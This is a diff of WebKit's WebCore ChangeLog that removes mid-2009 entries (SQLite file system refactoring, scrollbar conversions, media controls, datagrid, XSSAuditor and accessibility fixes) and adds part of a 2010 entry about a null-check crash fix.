-        * platform/sql/SQLiteFileSystem.cpp: Added.
-        * platform/sql/SQLiteFileSystem.h: Added.
-        * platform/win/FileSystemWin.cpp:
-        (WebCore::directoryName): Implemented.
-        * storage/Database.cpp:
-        (WebCore::Database::databaseSize): The code that returns the size of a DB file moved to SQLiteFileSystem.
-        * storage/DatabaseTracker.cpp:
-        (WebCore::DatabaseTracker::DatabaseTracker): Added the ability to register a custom SQLite VFS.
-        (WebCore::DatabaseTracker::trackerDatabasePath): DB file-related operations moved to SQLiteFileSystem.
-        (WebCore::DatabaseTracker::openTrackerDatabase): DB file-related operations moved to SQLiteFileSystem.
-        (WebCore::DatabaseTracker::originPath): DB file-related operations moved to SQLiteFileSystem.
-        (WebCore::DatabaseTracker::fullPathForDatabase): DB file-related operations moved to SQLiteFileSystem.
-        (WebCore::DatabaseTracker::usageForDatabase): DB file-related operations moved to SQLiteFileSystem.
-        (WebCore::DatabaseTracker::deleteOrigin): DB file-related operations moved to SQLiteFileSystem.
-        (WebCore::DatabaseTracker::deleteDatabaseFile): DB file-related operations moved to SQLiteFileSystem.
-        * storage/OriginUsageRecord.cpp:
-        (WebCore::OriginUsageRecord::diskUsage): DB file-related operations moved to SQLiteFileSystem.
-
-2009-07-02  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        Always clip replaced elements to border radii.
-        https://bugs.webkit.org/show_bug.cgi?id=26933
-
-        Make sure to always clip replaced elements to border radii, even when overflow is visible.
-        Stop defaulting those elements to overflow:hidden in the UA sheet, since it is now no longer
-        necessary.
-
-        Covered by existing tests (since the UA default changing keeps the behavior exactly the same).
+        Test: fast/ruby/ruby-line-height.html
 
         * css/html.css:
-        * rendering/RenderReplaced.cpp:
-        (WebCore::RenderReplaced::paint):
-        * rendering/RenderWidget.cpp:
-        (WebCore::RenderWidget::paint):
-
-2009-07-02  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Simon Fraser.
-
-        convertFromScrollbarToContainingView and friends should be in ScrollView
-        https://bugs.webkit.org/show_bug.cgi?id=26929
-
-        This is breaking Chromium's build because PopupMenuChromium inherits
-        from ScrollView, but these functions are pure virtual in it.  I could
-        put it directly in PopupMenuChromium, but that seems a bit silly since
-        the functions are fairly generic.
-
-        Passes existing layout tests.
-
-        * page/FrameView.cpp:  Remove the 4 functions Hyatt just added
-        (IntRect WebCore::FrameView::convertFromScrollbarToContainingView):
-        (IntRect WebCore::FrameView::convertFromContainingViewToScrollBar):
-        (IntPoint WebCore::FrameView::convertFromScrollbarToContainingView):
-        (IntPoint WebCore::FrameView::convertFromContainingViewToScrollBar):
-        * page/FrameView.h: ditto
-        * platform/ScrollView.cpp:  Move the 4 functions from FrameView here
-        (IntRect WebCore::ScrollView::convertFromScrollbarToContainingView):
-        (IntRect WebCore::ScrollView::convertFromContainingViewToScrollBar):
-        (IntPoint WebCore::ScrollView::convertFromScrollbarToContainingView):
-        (IntPoint WebCore::ScrollView::convertFromContainingViewToScrollBar):
-        * platform/ScrollView.h: ditto
-
-2009-07-02  Dirk Pranke  <dpranke@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Fix https://bugs.webkit.org/show_bug.cgi?id=26088 - TransparencyWin 
-        doesn't handle errors well at all; revise it to fail silently 
-        (drawing nothing), and bulletproof FontChromiumWin to handle the
-        failure accordingly.
-
-        Tests: fast/text/text-large-negative-letter-spacing-with-opacity.html
-               fast/text/text-letter-spacing.html
-
-        * platform/graphics/chromium/FontChromiumWin.cpp:
-        (WebCore::TransparencyAwareFontPainter::TransparencyAwareFontPainter::initializeForGDI):
-        (WebCore::TransparencyAwareFontPainter::TransparencyAwareFontPainter::~TransparencyAwareFontPainter):
-        (WebCore::TransparencyAwareFontPainter::TransparencyAwareGlyphPainter::TransparencyAwareGlyphPainter):
-        (WebCore::TransparencyAwareFontPainter::TransparencyAwareGlyphPainter::~TransparencyAwareGlyphPainter):
-        (WebCore::TransparencyAwareFontPainter::TransparencyAwareGlyphPainter::drawGlyphs):
-        (WebCore::Font::drawGlyphs):
-        (WebCore::Font::drawComplexText):
-        * platform/graphics/chromium/TransparencyWin.cpp:
-        (WebCore::TransparencyWin::TransparencyWin):
-        (WebCore::TransparencyWin::setupLayerForNoLayer):
-        (WebCore::TransparencyWin::setupLayerForOpaqueCompositeLayer):
-        (WebCore::TransparencyWin::setupLayerForWhiteLayer):
-        (WebCore::TransparencyWin::setupTransformForKeepTransform):
-        (WebCore::TransparencyWin::setupTransformForScaleTransform):
-        (WebCore::TransparencyWin::initializeNewContext):
-        (WebCore::TransparencyWin::compositeOpaqueComposite):
-        (WebCore::TransparencyWin::compositeTextComposite):
-        (WebCore::TransparencyWin::makeLayerOpaque):
-        * platform/graphics/chromium/TransparencyWin.h:
-        (WebCore::TransparencyWin::platformContext):
-
-2009-07-02  Eric Carlson  <eric.carlson@apple.com>
-
-        Change #import to #include to fix non-ObjC builds.
-
-        * rendering/MediaControlElements.cpp:
-
-2009-07-02  Anders Carlsson  <andersca@apple.com>
-
-        Build fix.
-        
-        * platform/network/mac/WebCoreURLResponse.mm:
-        (mimeTypeFromUTITree):
-
-2009-07-02  David Hyatt  <hyatt@apple.com>
 
-        Reviewed by Simon Fraser.
-
-        Fix for bug 22119, clicks in the scrollbars of transformed content don't work.  Add new
-        conversion methods for going across parent/child widget boundaries that can be implemented
-        by the FrameView and ScrollbarClient to be transform-aware.
-
-        Test cases added in platform/mac/fast/forms and platform/mac/fast/overflow.
+2010-02-02  James Robinson  <jamesr@chromium.org>
 
-        * WebCore.base.exp:
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::handleMouseMoveEvent):
-        * page/FrameView.cpp:
-        (WebCore::FrameView::convertFromScrollbarToContainingView):
-        (WebCore::FrameView::convertFromContainingViewToScrollbar):
-        (WebCore::FrameView::convertFromRenderer):
-        (WebCore::FrameView::convertToRenderer):
-        (WebCore::FrameView::convertToContainingView):
-        (WebCore::FrameView::convertFromContainingView):
-        * page/FrameView.h:
-        * platform/ScrollView.h:
-        * platform/Scrollbar.cpp:
-        (WebCore::Scrollbar::convertToContainingView):
-        (WebCore::Scrollbar::convertFromContainingView):
-        * platform/Scrollbar.h:
-        * platform/ScrollbarClient.h:
-        (WebCore::ScrollbarClient::convertFromScrollbarToContainingView):
-        (WebCore::ScrollbarClient::convertFromContainingViewToScrollbar):
-        * platform/Widget.cpp:
-        (WebCore::Widget::convertFromContainingWindow):
-        (WebCore::Widget::convertToContainingWindow):
-        (WebCore::Widget::convertFromRootToContainingWindow):
-        (WebCore::Widget::convertFromContainingWindowToRoot):
-        (WebCore::Widget::convertToContainingView):
-        (WebCore::Widget::convertFromContainingView):
-        * platform/Widget.h:
-        * platform/graphics/IntPoint.h:
-        (WebCore::IntPoint::move):
-        * platform/mac/WidgetMac.mm:
-        (WebCore::Widget::convertFromRootToContainingWindow):
-        (WebCore::Widget::convertFromContainingWindowToRoot):
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::isPointInOverflowControl):
-        * rendering/RenderDataGrid.cpp:
-        (WebCore::RenderDataGrid::convertFromScrollbarToContainingView):
-        (WebCore::RenderDataGrid::convertFromContainingViewToScrollbar):
-        * rendering/RenderDataGrid.h:
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::convertFromScrollbarToContainingView):
-        (WebCore::RenderLayer::convertFromContainingViewToScrollbar):
-        (WebCore::RenderLayer::scrollbarOffset):
-        (WebCore::RenderLayer::hitTestOverflowControls):
-        * rendering/RenderLayer.h:
-        * rendering/RenderListBox.cpp:
-        (WebCore::RenderListBox::isPointInOverflowControl):
-        (WebCore::RenderListBox::convertFromScrollbarToContainingView):
-        (WebCore::RenderListBox::convertFromContainingViewToScrollbar):
-        * rendering/RenderListBox.h:
-
-2009-07-02  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Dave Hyatt and Simon Fraser.
+        Reviewed by Dmitry Titov.
 
-        - fix <rdar://problem/6933052> SPOD playing video in a div with a box
-          shadow
+        Add a null check for image, which might be NULL if tileSize is empty
+        https://bugs.webkit.org/show_bug.cgi?id=34510
 
-        Test: fast/box-shadow/transform-fringing.html
+        Test: fast/gradients/crash-on-1px-border.html
 
         * rendering/RenderBoxModelObject.cpp:
-        (WebCore::RenderBoxModelObject::paintBoxShadow): Clip out the
-        box even if it has an opaque background, but in that case, inset the
-        clip path by 1 pixel, to avoid antialiasing artifacts.
-        Do not inset the clip rect by 1 pixel if the CTM is purely a
-        translation.
-        Move the shadow-casting path away in the non-rounded-rect case (it
-        was already being done in the rounded-rect case), to avoid a black
-        fringe when the CTM is not purely a translation.
-
-2009-07-02  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        <rdar://problem/6969425> Safari 4.0 doesn't recognize text/plain files if their extension is unknown.
-
-        Walk the CoreTypes UTI tree for extensions with unknown MIME types, using the first MIME type found.
-
-        For many types of text files (such as source code files) this ends up being text/plain.
-
-        * platform/network/mac/ResourceHandleMac.mm:
-        (-[WebCoreResourceHandleAsDelegate connection:didReceiveResponse:]): Tweak the logging output.
-
-        * platform/network/mac/WebCoreURLResponse.h:
-        * platform/network/mac/WebCoreURLResponse.mm:
-        (mimeTypeFromUTITree): 
-        (webNSURLResponseMIMEType): Use mimeTypeFromUTITree() to find a UTI-based MIME type for this file's extension.
-        (-[NSURLResponse _webcore_reportedMIMEType]): Return the actual MIME type that CFNetwork gave us.
-
-2009-07-02  Pierre d'Herbemont  <pdherbemont@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        <rdar://problem/6518119>
-
-        Add a rewind button and hide the timeline for live broadcasts when
-        in MediaUI mode.
-
-        * css/CSSPrimitiveValueMappings.h: 
-        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue): Add the new pseudo element.
-
-        * css/CSSSelector.cpp:
-        (WebCore::CSSSelector::extractPseudoType): Ditto.
-        * css/CSSSelector.h: 
-
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector): Ditto.
-
-        * css/CSSValueKeywords.in: Ditto.
-        * css/mediaControls.css: Ditto.
-        * css/mediaControlsQT.css: Ditto.
-
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::rewind): New.
-        (WebCore::HTMLMediaElement::returnToRealTime): New.
-        (WebCore::HTMLMediaElement::isStreaming): New.
-        * html/HTMLMediaElement.h:
-
-        * page/mac/WebCoreViewFactory.h: Declare mediaElementLoadingStateText and mediaElementLiveBroadcastStateText.
-
-        * platform/LocalizedStrings.h: Add localized media state messages.
-
-        * platform/ThemeTypes.h: Add the new pseudo element.
-
-        * platform/mac/LocalizedStringsMac.mm: 
-        (WebCore::mediaElementLoadingStateText): Add localized media state.
-        (WebCore::mediaElementLiveBroadcastStateText): Ditto.
-
-        * platform/mac/WebCoreSystemInterface.h: Change BOOL param wkDrawMediaUIPart to an int to support
-           multiple states.
-        * platform/mac/WebCoreSystemInterface.mm: Ditto.
-
-        * rendering/MediaControlElements.cpp: 
-        (WebCore::MediaControlElement::MediaControlElement): Deal with new elements.
-        (WebCore::MediaControlElement::attachToParent): Ditto.
-        (WebCore::MediaControlElement::update): Ditto.
-        (WebCore::MediaControlElement::updateStyle): Ditto.
-        (WebCore::MediaControlTimelineContainerElement::MediaControlTimelineContainerElement): Ditto.
-        (WebCore::MediaControlTimelineContainerElement::rendererIsNeeded): Ditto.
-        (WebCore::MediaControlStatusDisplayElement::MediaControlStatusDisplayElement): Ditto.
-        (WebCore::MediaControlStatusDisplayElement::update): Ditto.
-        (WebCore::MediaControlStatusDisplayElement::rendererIsNeeded): Ditto.
-        (WebCore::MediaControlInputElement::MediaControlInputElement): Ditto.
-        (WebCore::MediaControlInputElement::attachToParent): Ditto.
-        (WebCore::MediaControlInputElement::updateStyle): Ditto.
-        (WebCore::MediaControlRewindButtonElement::MediaControlRewindButtonElement): Ditto.
-        (WebCore::MediaControlRewindButtonElement::defaultEventHandler): Ditto.
-        (WebCore::MediaControlReturnToRealtimeButtonElement::MediaControlReturnToRealtimeButtonElement): Ditto.
-        (WebCore::MediaControlReturnToRealtimeButtonElement::defaultEventHandler): Ditto.
-        (WebCore::MediaControlReturnToRealtimeButtonElement::rendererIsNeeded): Ditto.
-        (WebCore::MediaControlTimelineElement::defaultEventHandler): Ditto.
-        (WebCore::MediaControlTimelineElement::update): Ditto.
-        (WebCore::MediaControlFullscreenButtonElement::rendererIsNeeded): Ditto.
-        * rendering/MediaControlElements.h: Ditto.
-
-        * rendering/RenderMedia.cpp: 
-        (WebCore::RenderMedia::styleDidChange): Deal with the new elements.
-        (WebCore::RenderMedia::createPanel): Ditto.
-        (WebCore::RenderMedia::createRewindButton): Ditto.
-        (WebCore::RenderMedia::createReturnToRealtimeButton): Ditto.
-        (WebCore::RenderMedia::createStatusDisplay): Ditto.
-        (WebCore::RenderMedia::createTimelineContainer): Ditto.
-        (WebCore::RenderMedia::createCurrentTimeDisplay): Ditto.
-        (WebCore::RenderMedia::createTimeRemainingDisplay): Ditto.
-        (WebCore::RenderMedia::updateControls): Ditto.
-        (WebCore::RenderMedia::forwardEvent): Ditto.
-        * rendering/RenderMedia.h:
-
-        * rendering/RenderTheme.cpp:
-        (WebCore::RenderTheme::paint): Deal with the new elements.
-
-        * rendering/RenderTheme.h:
-        (WebCore::RenderTheme::paintMediaRewindButton): Deal with the new elements.
-        (WebCore::RenderTheme::paintMediaReturnToRealtimeButton): Ditto.
-        (WebCore::RenderTheme::paintMediaControlsBackground): Ditto.
-
-        * rendering/RenderThemeMac.h:
-        * rendering/RenderThemeMac.mm:
-        (WebCore::RenderThemeMac::paintMediaRewindButton): Deal with the new elements.
-        (WebCore::RenderThemeMac::paintMediaReturnToRealtimeButton): Ditto.
-        (WebCore::RenderThemeMac::paintMediaControlsBackground): Ditto.
-
-        * rendering/style/RenderStyleConstants.h: Add constants for the new elements.
-
-2009-07-01  John Abd-El-Malek  <jam@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Small refactoring of MessagePortChannel so that PlatformMessagePortChannel
-        may be defined at the WebKit layer.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26905
-
-        * dom/MessageChannel.cpp:
-        (WebCore::MessageChannel::MessageChannel):
-        * dom/MessagePortChannel.cpp:
-        * dom/MessagePortChannel.h:
-        * dom/default/PlatformMessagePortChannel.cpp:
-        (WebCore::MessagePortChannel::createChannel):
-        (WebCore::MessagePortChannel::create):
-        (WebCore::MessagePortChannel::MessagePortChannel):
-        (WebCore::MessagePortChannel::~MessagePortChannel):
-
-2009-07-01  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        <video> fails to show on http://camendesign.com/code/video_for_everybody
-        <rdar://problem/7026010>
-        https://bugs.webkit.org/show_bug.cgi?id=26919
-
-        Fix an issue introduced in r44961. In that revision we changed to only update
-        compositing layer geometry when all siblings had been laid out (i.e. we pushed
-        the updates one level down). However, that left out the root layer, so this
-        fix ensures that the root layer geometry gets updated at the end.
-
-        Test: compositing/geometry/root-layer-update.html
-
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::updateAfterLayout):
-
-2009-07-01  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein
-        
-        <rdar://problem/7026010> <video> fails to show on http://camendesign.com/code/video_for_everybody
-
-        First part of fix: when outline width changes, don't to a synchronous
-        layer update right away, but just set the flag to say that compositing
-        layers need updating. The synchronous layer update left the layer geometries
-        out of whack when it happened in the middle of layout (e.g. when inside ::first-letter).
-        
-        Test: compositing/geometry/outline-change.html
-
-        * rendering/RenderView.cpp:
-        (WebCore::RenderView::setMaximalOutlineSize):
-
-2009-07-01  Kwang Yul Seo  <skyul@company100.net>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26842
-        Build fix when ENABLE_DATABASE is off
-
-        Move Database.h into ENABLE(DATABASE) guard so toggling ENABLE_DATABASE
-        off does not break builds.
-
-        * bindings/js/ScriptObjectQuarantine.cpp:
-
-2009-07-01  Daniel Bates  <dbates@intudata.com>
-
-        Reviewed by Adam Barth.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=26899
-        
-        Modified XSSAuditor::decodeURL to only remove null characters so that 
-        it is consistent with the behavior of HTMLTokenizer and prevents 
-        injected scripts that contain control characters. 
-
-        Tests: http/tests/security/xssAuditor/script-tag-control-char.html
-               http/tests/security/xssAuditor/script-tag-null-char.html
-
-        * page/XSSAuditor.cpp:
-        (WebCore::XSSAuditor::decodeURL): Modified to only remove null characters. 
-        * page/XSSAuditor.h: Reverted naming of third argument of method XSSAuditor::decodeURL
-        from allowControlCharacters back to allowNullCharacters.
-        * platform/network/ResourceResponseBase.cpp: Reverted back to rev #45003.
-        (WebCore::isControlCharacter):
-        * platform/network/ResourceResponseBase.h: Reverted back to rev #45003.  
-
-2009-07-01  Yury Semikhatsky  <yurys@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        - supported keyboard shortcuts compatible with Firebug in Scripts Debugger:
-        F5, Ctrl+/ (win,lin), Command+/ (mac) - continue
-        F10, Ctrl+' (win, lin), Command+' (mac) - step over
-        F11, Ctrl+; (win, lin), Command+; (mac) - step into
-        Shift+F11, Ctrl+Shift+; (win, lin), Command+Shift+; (mac) - step out
-
-        - added call stack navigation shortcuts:
-        Ctrl+. - next call frame
-        Ctrl+, - previouse call frame
-
-        https://bugs.webkit.org/show_bug.cgi?id=23849
-
-        * inspector/front-end/CallStackSidebarPane.js:
-        (WebInspector.CallStackSidebarPane):
-        (WebInspector.CallStackSidebarPane.prototype.handleKeyEvent):
-        (WebInspector.CallStackSidebarPane.prototype._selectNextCallFrameOnStack):
-        (WebInspector.CallStackSidebarPane.prototype._selectPreviousCallFrameOnStack):
-        (WebInspector.CallStackSidebarPane.prototype._selectedPlacardByIndex):
-        (WebInspector.CallStackSidebarPane.prototype._selectedCallFrameIndex):
-        * inspector/front-end/KeyboardShortcut.js: Added.
-        (WebInspector.KeyboardShortcut):
-        (WebInspector.KeyboardShortcut.makeKey):
-        (WebInspector.KeyboardShortcut.makeKeyFromEvent):
-        (WebInspector.KeyboardShortcut.makeKeyFromCodeAndModifiers_):
-        * inspector/front-end/ScriptsPanel.js:
-        (WebInspector.ScriptsPanel):
-        (WebInspector.ScriptsPanel.prototype.handleKeyEvent):
-        * inspector/front-end/WebKit.qrc:
-        * inspector/front-end/inspector.html:
-
-2009-07-01  Daniel Erat  <derat@google.com>
-
-        Reviewed by David Levin.
-
-        Chromium Linux: Move the scrollbar thumb on middle-click.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26910
-        http://code.google.com/p/chromium/issues/detail?id=11976
-
-        Tested by building Chrome and checking that the scrollbar moves as expected.
-
-        * platform/chromium/ScrollbarThemeChromium.cpp:
-        * platform/chromium/ScrollbarThemeChromium.h:
-        * platform/chromium/ScrollbarThemeChromiumLinux.cpp:
-        * platform/chromium/ScrollbarThemeChromiumLinux.h:
-        * platform/chromium/ScrollbarThemeChromiumWin.cpp:
-        * platform/chromium/ScrollbarThemeChromiumWin.h:
-
-2009-07-01  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        Add a preference/setting to toggle whether content sniffing is enabled for file URLs.
-
-        * WebCore.base.exp:
-
-        * page/Settings.cpp:
-        (WebCore::Settings::setLocalFileContentSniffingEnabled):
-        * page/Settings.h:
-        (WebCore::Settings::localFileContentSniffingEnabled):
-
-        * platform/network/mac/ResourceHandleMac.mm:
-        (WebCore::ResourceHandle::start):
-        (-[WebCoreResourceHandleAsDelegate connection:didReceiveResponse:]):
-
-2009-07-01  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        Bug 26909: aria-label needs to be supported
-        https://bugs.webkit.org/show_bug.cgi?id=26909
-
-        Test: accessibility/aria-label.html
-
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::accessibilityDescription):
-        * html/HTMLAttributeNames.in:
-
-2009-07-01  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        More datagrid columns work.  Make sure columns cache both a style for the column header as well
-        as a style for the column background (behind the cells).
-
-        Hook up to CSSStyleSelector methods for obtaining the pseudo styles for columns (stubbed out and
-        unimplemented).
-
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::pseudoStyleForDataGridColumn):
-        (WebCore::CSSStyleSelector::pseudoStyleForDataGridColumnHeader):
-        * css/CSSStyleSelector.h:
-        * html/DataGridColumn.h:
-        (WebCore::DataGridColumn::setColumnList):
-        (WebCore::DataGridColumn::columnStyle):
-        (WebCore::DataGridColumn::setColumnStyle):
-        (WebCore::DataGridColumn::headerStyle):
-        (WebCore::DataGridColumn::setHeaderStyle):
-        * rendering/RenderDataGrid.cpp:
-        (WebCore::RenderDataGrid::recalcStyleForColumn):
-        (WebCore::RenderDataGrid::columnStyle):
-        (WebCore::RenderDataGrid::headerStyle):
-        (WebCore::RenderDataGrid::paintColumnHeaders):
-        * rendering/RenderDataGrid.h:
-
-2009-07-01  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Oliver Hunt.
-        
-        <rdar://problem/7009870> After <audio> movie finishes playing, Pause button fails to change 
-        back to Play button
-
-        Grab onto the current time when QTKit "ended" notification fires and use it as 
-        duration from that point on as QuickTime sometimes refuses to play all the way to
-        the time it reports for duration and buffered. HTMLMediaElement assumes that there
-        more to play in this situation and tries to restart playback, endlessly.
-
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
-            Rename m_duration to m_reportedDuration. Declare m_cachedDuration.
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
-            Rename m_duration to m_reportedDuration. Initialize m_cachedDuration.
-        (WebCore::MediaPlayerPrivate::duration):
-            Return m_cachedDuration once it has been set.
-        (WebCore::MediaPlayerPrivate::updateStates):
-            Rename m_duration to m_reportedDuration.
-        (WebCore::MediaPlayerPrivate::didEnd):
-            Set m_cachedDuration to currentTime().
-
-2009-07-01  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Beth Dakin.
-
-        Bug 26900: AX: Manual spell check with Command-; does not bring up suggestions
-        https://bugs.webkit.org/show_bug.cgi?id=26900
-
-        Editable web areas should have a clickpoint that uses where the selection is.
-
-        Test: accessibility/editable-webarea-context-menu-point.html
-
-        * accessibility/AccessibilityObject.h:
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::clickPoint):
-        * accessibility/AccessibilityRenderObject.h:
-        * accessibility/mac/AccessibilityObjectWrapper.mm:
-        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
-
-2009-07-01  David Levin  <levin@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Remove unused code in SVGTransformList and SVGTransformDistance
-        <https://bugs.webkit.org/show_bug.cgi?id=26891>
-
-        * svg/SVGTransformDistance.cpp:
-        (WebCore::SVGTransformDistance::SVGTransformDistance):
-        * svg/SVGTransformList.cpp:
-        * svg/SVGTransformList.h:
-
-2009-07-01  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Anders Carlsson.
-
-        Begin stubbing out functions for layout, painting and style/geometry caching on columns.  Not enough
-        is implemented for this to do much of anything yet, but it should help keep patch sizes down. :)
-
-        * html/DataGridColumn.cpp:
-        (WebCore::DataGridColumn::columnChanged):
-        * html/DataGridColumn.h:
-        (WebCore::DataGridColumn::setId):
-        (WebCore::DataGridColumn::setLabel):
-        (WebCore::DataGridColumn::setType):
-        (WebCore::DataGridColumn::setSortable):
-        (WebCore::DataGridColumn::setSortDirection):
-        (WebCore::DataGridColumn::setColumnList):
-        (WebCore::DataGridColumn::style):
-        (WebCore::DataGridColumn::setStyle):
-        (WebCore::DataGridColumn::rect):
-        (WebCore::DataGridColumn::setRect):
-        * html/DataGridColumnList.cpp:
-        (WebCore::DataGridColumnList::DataGridColumnList):
-        (WebCore::DataGridColumnList::setDataGridNeedsLayout):
-        (WebCore::DataGridColumnList::add):
-        (WebCore::DataGridColumnList::remove):
-        (WebCore::DataGridColumnList::move):
-        (WebCore::DataGridColumnList::clear):
-        (WebCore::DataGridColumnList::primaryColumnChanged):
-        * html/DataGridColumnList.h:
-        (WebCore::DataGridColumnList::create):
-        (WebCore::DataGridColumnList::dataGrid):
-        (WebCore::DataGridColumnList::clearDataGrid):
-        * html/HTMLDataGridColElement.cpp:
-        (WebCore::HTMLDataGridColElement::HTMLDataGridColElement):
-        (WebCore::HTMLDataGridColElement::findDataGridAncestor):
-        (WebCore::HTMLDataGridColElement::insertedIntoTree):
-        (WebCore::HTMLDataGridColElement::removedFromTree):
-        * html/HTMLDataGridColElement.h:
-        (WebCore::HTMLDataGridColElement::dataGrid):
-        * html/HTMLDataGridElement.cpp:
-        (WebCore::HTMLDataGridElement::HTMLDataGridElement):
-        (WebCore::HTMLDataGridElement::~HTMLDataGridElement):
-        * rendering/RenderDataGrid.cpp:
-        (WebCore::RenderDataGrid::styleDidChange):
-        (WebCore::RenderDataGrid::recalcStyleForColumns):
-        (WebCore::RenderDataGrid::recalcStyleForColumn):
-        (WebCore::RenderDataGrid::styleForColumn):
-        (WebCore::RenderDataGrid::layout):
-        (WebCore::RenderDataGrid::layoutColumns):
-        (WebCore::RenderDataGrid::paintColumnHeaders):
-        (WebCore::RenderDataGrid::paintColumnHeader):
-        * rendering/RenderDataGrid.h:
-        (WebCore::RenderDataGrid::renderName):
-        (WebCore::RenderDataGrid::canHaveChildren):
-
-2009-07-01  Daniel Bates  <dbates@intudata.com>
-
-        Reviewed by Adam Barth.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26807
-        
-        Fixes this address by checking whether frame->document()->decoder() is null. 
-
-        * page/XSSAuditor.cpp:
-        (WebCore::XSSAuditor::findInRequest):
-
-2009-07-01  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        Fixes: https://bugs.webkit.org/show_bug.cgi?id=26885
-
-        Correctly reset history length to '0', not '1'. Old relict from early WML days.
-        Add some new WML testcases covering the use of history length (by onenterforward event handling)
-
-        Tests: wml/onenterforward-event.html
-               wml/onenterforward-inline-event.html
-               wml/ontimer-event.html
- 
-        * wml/WMLPageState.cpp:
-        (WebCore::WMLPageState::reset):
-
-2009-07-01  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        Make sure setting attributes on dcol elements properly updates the corresponding DataGridColumn object.
-
-        Added new test in fast/dom/HTMLDataGridElement.
-
-        * html/HTMLDataGridColElement.cpp:
-        (WebCore::HTMLDataGridColElement::parseMappedAttribute):
-        * html/HTMLDataGridColElement.h:
-
-2009-07-01  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Tim Hatcher.
-
-        <rdar://problem/6998524> REGRESSION (r44474): Form text field has focus ring, looks focused,
-        even though the field is not actually focused for keyboard input
-        
-        Add the concept of whether or not the Page is focused by adding a boolean to the focusController.  This allows the
-        focused frame and focused node to both be cached and changed programmatically even when the Page itself doesn't
-        actually happen to have focus at that time.
-
-        * WebCore.base.exp:
-        * page/FocusController.cpp:
-        (WebCore::FocusController::FocusController):
-        (WebCore::FocusController::setFocusedFrame):
-        (WebCore::FocusController::setFocused):
-        (WebCore::FocusController::setActive):
-        * page/FocusController.h:
-        (WebCore::FocusController::isFocused):
-
-2009-07-01  Jakub Wieczorek  <faw217@gmail.com>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Move some API headers from WebCore.pro to headers.pri so that they
-        get installed when running make install from the build directory.
-
-        * WebCore.pro:
-
-2009-07-01  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Rubber-stamped by Ariya Hidayat.
-
-        Ran WebKitTools/Scripts/generate-qt-inspector-resource to update the
-        qrc file with new png files from the web inspector.
-
-        * inspector/front-end/WebKit.qrc:
-
-2009-06-30  Mark Rowe  <mrowe@apple.com>
-
-        Land some code that has a hope of compiling.
-
-        * platform/graphics/cg/ImageSourceCG.cpp:
-        (WebCore::imageSourceOptions):
-
-2009-06-30  Stephanie Lewis  <slewis@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        Flip back on block caching. Throwing away block data, while 
-        a perceived memory win, is a performance hit in cases where we 
-        are repainting large images (i.e. backgrounds) frequently 
-        (i.e. a flash video playing on top).  
-        <rdar://problem/6933515> REGRESSION(L-SL): Large JPEG images are 
-        decoded on drawing, slowing down painting of sites that frequently 
-        repaint e.g. because of Flash (pandora.com, Starcraft 2)
-
-        * platform/graphics/cg/ImageSourceCG.cpp:
-        (WebCore::imageSourceOptions):
-
-2009-06-30  Maciej Stachowiak  <mjs@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        - Rename html4.css to html.css, since we target HTML5 now
-        https://bugs.webkit.org/show_bug.cgi?id=26873
-
-        * DerivedSources.make:
-        * GNUmakefile.am:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * css/CSSStyleSelector.cpp:
-        (WebCore::loadFullDefaultStyle):
-        * css/html.css: Copied from css/html4.css.
-        * css/html4.css: Removed.
-        * css/themeWin.css:
-        * platform/Theme.h:
-        * platform/qt/RenderThemeQt.cpp:
-        (WebCore::RenderThemeQt::adjustMenuListButtonStyle):
-        * rendering/RenderTheme.h:
-
-2009-06-30  Zan Dobersek  <zandobersek@gmail.com>
-
-        Reviewed by Gustavo Noronha.
-
-        [GTK] Drag and drop support
-        https://bugs.webkit.org/show_bug.cgi?id=23642
-
-        Define DragImageRef as GdkPixbuf and implement essential
